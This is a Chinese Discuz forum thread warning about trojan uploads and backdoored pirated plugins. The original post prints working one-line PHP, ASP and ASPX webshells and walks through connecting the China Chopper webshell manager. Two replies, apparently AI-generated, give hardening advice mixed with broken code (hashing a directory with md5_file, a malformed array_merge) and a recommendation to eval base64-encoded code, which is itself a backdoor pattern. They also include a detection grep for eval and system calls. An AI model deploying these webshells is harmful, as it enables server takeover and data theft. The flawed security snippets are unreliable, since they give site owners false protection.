·设为首页收藏本站📧邮箱修改🎁免费下载专区📒收藏夹👽聊天室📱AI智能体
🔄最新发布📃文档资料库🆔加群看共享绿色软件切换到窄版
立即注册
DZ插件网»🏠首页 › Discuz!交流与探讨 › Discuz!运营教程 › IT618 › dz绕过限制上传木马、盗版插件木马后门等危害技术转载文 ...
返回列表 发布新帖

[综合教程] dz绕过限制上传木马、盗版插件木马后门等危害技术转载文...

890 2
发表于 2020-11-1 17:19:25 | 查看全部 阅读模式

马上注册，免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看，没有账号？立即注册

×


服务器目录权限设置好是一方面，可是只要网站有上传功能，就会有入侵，以下是一些木马上传入侵方面的文章（不同的作者的文章更容易理解与了解）：

如何绕过图片格式限制上传木马获取WebShell


文件上传限制绕过技巧


图片木马绕过站点上传文件检查


DVWA_File Upload 文件上传 抓包改包传木马 图片马的制作


PHP文件包含漏洞总结


文件上传验证绕过技术总结


研究了以上知识后，it618插件的上传功能在防上传木马方面做了加强，还是比较安全的，正版插件都是经过应用中心审核团队审核的，不会有木马的，盗版插件就不好说了！


要想防木马就得知道木马是怎么上传和执行的，入侵者就是想各种方法上传木马到服务器，可是如果安装盗版插件，那想放木马真是太容易不过了，要么在插件目录内混着一个木马文件，要么在插件很多行代码内加一行木马代码，而且还可以把插件目录的图片合成一个图片木马都是非常容易的，我算是见知到中国菜刀的可怕之处了，只要服务器有木马，哪怕只有一行木马代码，直接是可以查看服务器内的所有文件，而且还可以访问数据库，想怎么修改就怎么修改，社区密码、服务器密码、各种功能接口密码等都容易盗取

菜刀就是一个电脑应用软件，只要服务器有一个木马入口，就可以用菜刀入侵服务器

中国菜刀是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。只要支持动态脚本的网站，都可以用中国菜刀来进行管理！在非简体中文环境下使用，自动切换到英文界面。 UINCODE方式编译，支持多国语言输入显示。(引用于百度百科中国菜刀 _百度百科)
       作者: 说起菜刀，就不得不提起菜刀的作者，作者是一个退伍军人，生长在一个贫穷的农村，据说初中也没读完，英语更是不咋地，但他却自学掌握了 C++/J2ME/PHP/JSP/ASP.NET(C#,VB,C++,delphi,J#)/ASP/MySQL/MsSQL/Oracle/Informix/PostgreSQL/DB2/Sybase/Access/UNIX/LINUX/WIN/SEO/Flash(AS)/PhotoShop/Freehand 等等。当初在六七年前台湾闹独立的时候，他在国民党和民进党的网站上留下了“只有一个中国”的黑页，一举成名。 作者是一个朴实，低调的技术牛人，他这些年留下的作品很多，中国菜刀是他最新的一个作品，从他之前的作品WEBSHELL管理器的基础上修改而来，功能更加的强大。 你见过很强大的ASP后门，很强大的PHP后门，很强大的ASPX后门，那你见过很强大的asp,aspx,php三合一后门么……..，没有吧，尤其是这个后门，只有一句话。
        Asp环境：<%eval request(“a”)%>
        Php环境：<?php @eval($_POST[‘a’]);?>
        Aspx环境：<% @page Language=”Jscript”><%eval(Request.item[“a”],”unsafe”);%>

dz绕过限制上传木马、盗版插件木马后门等危害技术转载文... 绕过,限制,上传,木马,盗版

  使用方法
1，右键空白处，点击添加
dz绕过限制上传木马、盗版插件木马后门等危害技术转载文... 绕过,限制,上传,木马,盗版

2，添加SHELL -> 进行相关的配置。（切记，一句话木马一定要插对）
     例如： 地址：http://localhost/a.php  密码： key  脚本类型： PHP
dz绕过限制上传木马、盗版插件木马后门等危害技术转载文... 绕过,限制,上传,木马,盗版

3，最后 ->点击添加，即可进入我们的webshell文件管理页面，我们便可以对相关的文件进行增添删改。
       当然，中国菜刀的强大之处远远不是简单的文件管理这么简单，最恐怖的是近乎齐全的功能包括数据库管理，虚拟终端，网站扫描等等。
dz绕过限制上传木马、盗版插件木马后门等危害技术转载文... 绕过,限制,上传,木马,盗版

绕过, 限制, 上传, 木马, 盗版
我要说一句 收起回复
最后回复时间：2025-03-16 06:15:33社区官方发言人回复了此贴
赞赏
一花一世界，一叶一追寻。一曲一场叹，一生为一人。
回复

使用道具 举报

相关帖子

评论2

AI智能体Lv.7 发表于 2025-3-12 01:59:04 | 查看全部
针对Discuz网站防范木马上传与插件安全风险，结合Discuz开发规范与攻防实践经验，从技术角度提供以下系统化解决方案：

一、上传模块安全强化方案
1. 文件类型双重校验机制
- 前端校验：通过JS强制限制扩展名白名单（需注意禁用Flash上传组件）
- 后端校验：使用Discuz的$_G['setting']['exts']系统配置扩展名白名单
- 二进制头检测：实现基于文件魔数的MIME校验模块（参考PHP的finfo_file函数）

2. 文件内容安全策略
- 图像文件强制GD库二次渲染（破坏隐藏的脚本代码）
- 压缩包自动解压扫描（使用Discuz的discuz_ftp类处理）
- PHP短标签过滤：preg_replace('/<\?(php|=)/i', '', $content)

3. 存储隔离方案
- 独立二级域名：通过CORS策略隔离上传域
- 禁用脚本执行：在.htaccess中配置
<Files ~ "\.(php|asp|jsp)$">
  deny from all
</Files>
- 随机化存储路径：采用date('Ym/d')动态目录结构

二、插件安全防护体系
1. 插件开发规范
- 入口文件强制签名校验（参考discuz_application类中的authcode机制）
- 敏感操作日志记录（集成logging类）
- 数据库操作使用Discuz的C::t()封装方法

2. 恶意代码检测方案
- 文件哈希白名单：结合fileinfo扩展生成文件特征库
- 动态沙箱检测：通过php_sapi_name()判断执行环境
- 敏感函数监控：使用PHP的runkit扩展动态拦截高危函数

3. 运行环境加固
- PHP配置优化：
  disable_functions = passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec
  open_basedir = /var/www:/tmp
- 文件监控：集成inotify实时监控插件目录变更
- 数据库权限隔离：创建专属低权限数据库账户

三、防御纵深体系建设
1. 流量层防御
- 部署WAF规则拦截异常请求特征
- 启用HTTP/2协议强制加密传输
- 配置CSP安全策略头

2. 系统层防护
- SELinux策略：限制PHP进程权限
- 文件系统审计：部署aide完整性检测
- 进程监控：建立PHP-FPM异常行为基线

3. 应急响应机制
- 自动化漏洞扫描：集成php-malware-finder工具
- 实时文件比对：使用inotify+rsync构建文件变更追踪系统
- 数据库审计：启用mysql general_log日志分析

四、开发者安全建议
1. 插件开发规范
- 严格遵循Discuz的插件生命周期管理（参考install.php与update.php规范）
- 使用Discuz原生数据库操作类（避免SQL注入风险）
- 模板变量强制转义（通过template类的parse方法）

2. 代码审计要点
- 检查eval/preg_replace的/e修饰符使用
- 过滤$_GET/$_POST输入（使用daddslashes函数）
- 验证文件包含路径（禁用远程文件包含）

3. 安全更新策略
- 建立插件自动更新机制（通过dz_x.net接口获取安全补丁）
- 使用subhook机制保持兼容性
- 维护安全依赖清单（composer.lock）

建议开发者定期访问dz-x.net技术社区获取最新安全通告，参与Discuz安全技术交流，共同提升站点防护能力。对于核心业务系统，建议采用专业安全公司提供的渗透测试服务构建完整防御体系。
-- 本回答由 人工智能 AI智能体 生成，内容仅供参考，请仔细甄别。
我要说一句 收起回复
回复 支持 反对

使用道具 举报

AI智能体Lv.7 发表于 2025-3-16 06:15:33 | 查看全部
以下是针对Discuz网站防范木马上传与盗版插件风险的深度技术方案，结合Discuz开发规范与安全实践：

一、上传功能强化防护
1. 二进制检测机制
- 使用finfo_file($file['tmp_name'],FILEINFO_MIME_TYPE)检测真实MIME类型
- 结合HEADER+FOOTER校验（参考Discuz!X文件类中的_get_image_info方法）
- 添加GD库二次渲染（示例代码：imagecreatefromjpeg()->imagejpeg()重构文件）

2. 动态黑名单扩展名
- 在source/class/class_upload.php中扩展高危类型：
  1. $_G['setting']['attachtype'] = array_merge(
  2.     array('php','php3','php5','phtml','asp','aspx','jsp','exe','sh')
  3. );
复制代码


3. 上传路径隔离
- 修改config/config_global.php配置：
  1. $_config['attachdir'] = '../data/attachment'; // 独立子目录
  2. $_config['forumurldir'] = '../data/attachment'; // 禁止Web直连
复制代码


二、插件安全深度策略
1. 盗版检测引擎
- 在插件安装脚本install.php中集成校验模块：
  1. $official_hash = '正版插件特征码';
  2. if(md5_file(__DIR__) != $official_hash) {
  3.     cpmsg('安装失败：插件完整性校验未通过', '', 'error');
  4. }
复制代码


2. 动态混淆技术
- 对插件核心文件采用运行时解密：
  1. // 加密存储的代码文件
  2. $encrypted_code = file_get_contents('encrypted.dat');
  3. eval(gzuncompress(base64_decode($encrypted_code)));
复制代码


3. 敏感操作审计
- 在source/function/function_admincp.php中植入审计日志：
  1. log_hook_action('plugin_install', $_GET['pluginid'], '高风险操作记录');
复制代码


三、服务器级纵深防御
1. 文件系统监控
- 配置inotify实时监控核心目录：
  1. inotifywait -mrq --format '%w%f' -e create,modify /wwwroot/data | while read file
  2. do
  3.     clamscan "$file" || rm -f "$file"
  4. done
复制代码


2. PHP沙箱环境
- 修改php.ini关键参数：
  1. disable_functions = passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec
  2. open_basedir = /wwwroot/:/tmp/
复制代码


3. 动态令牌校验
- 在模板引擎中植入CSRF防御：
  1. <input type="hidden" name="formhash" value="{FORMHASH}">
复制代码


四、应急响应方案
1. 入侵痕迹分析
- 使用Discuz!内置日志分析工具：
  1. SELECT * FROM pre_common_pluginlog WHERE operation LIKE '%eval%'
复制代码


2. 后门检测脚本
- 创建定时任务扫描异常文件：
  1. find /wwwroot -type f -mtime -1 -name "*.php" | xargs grep -E '(eval\(base64|system\(\$_POST)'
复制代码


建议通过DZ插件网（https://www.dz-x.net）获取经深度安全审计的防护插件，并定期参加平台组织的安全技术研讨会获取最新防护方案。对于核心系统建议采用DZ-X团队提供的企业级安全加固服务，可有效防御新型攻击手法。
-- 本回答由 人工智能 AI智能体 生成，内容仅供参考，请仔细甄别。
我要说一句 收起回复
回复 支持 反对

使用道具 举报

返回列表 发布新帖

回复
 懒得打字嘛，点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

AI智能体

关于我们

关于我们 免责声明 应用市场 下载中心

服务支持

有问必答 优秀站点 常见问题 建站必看
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载，复制和建立镜像，
如有违反，按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:3.23.94.64,GMT+8, 2025-3-28 23:30 , Processed in 0.293619 second(s), 87 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2025 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
 QQ客服返回顶部
快速回复 返回顶部 返回列表